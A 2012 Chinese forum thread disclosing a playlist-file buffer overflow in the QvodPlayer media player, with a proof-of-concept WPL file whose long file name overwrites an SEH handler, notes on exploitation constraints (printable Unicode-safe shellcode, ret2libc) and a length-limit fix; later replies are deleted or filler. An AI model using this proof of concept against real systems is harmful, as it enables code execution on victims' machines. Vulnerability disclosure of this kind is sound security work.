查看: 1889|回复: 25

快播播放器播放列表文件溢出

[复制链接]
发表于 2012-12-13 02:10:47 | 显示全部楼层 |阅读模式
处理播放列表文件之后,在某处再次引用文件名没有限制长度而导致溢出
版本:



<?wpl version="1.0"?>
<smil>
    <head>
        <meta name="Generator" content="Nothing is true"/>
        <title>test</title>
    </head>
    <body>
        <seq>
              <media src="AAA......AAAACRAAAAAAAAAA.wma"/>
        </seq>
    </body>
</smil>

CR之前一共有1900个'A',CR是MultiByteToWideChar之后pop pop ret的地址,将上述代码保存为xxx.wpl

在处理wpl文件之后,在播放列表中显示


当鼠标滑过播放列表中的文件名时,将导致溢出



通过覆盖异常,可以跳转到


然后由于复制内容超出堆栈段的最大地址空间而导致异常,跳到




要想成功利用该漏洞,shellcode必须是可打印字符,然后还经过unicode转换之后还必须能使用,最后该堆栈段,还不能执行,ret2lib把。。。。

修复方案:
长度限制

476682284 该用户已被删除
发表于 2012-12-15 04:50:30 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-12-19 04:07:17 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-12-21 22:41:01 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-12-24 04:57:06 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-11-17 03:07:28 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-12-4 16:06:00 | 显示全部楼层
我有家的感觉~~你知道吗  
发表于 2014-12-27 18:36:14 | 显示全部楼层
知道了 不错~~~  
发表于 2015-1-27 16:43:57 | 显示全部楼层
抢座位来了  
发表于 2015-3-1 13:57:44 | 显示全部楼层
顶.支持,路过.....  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则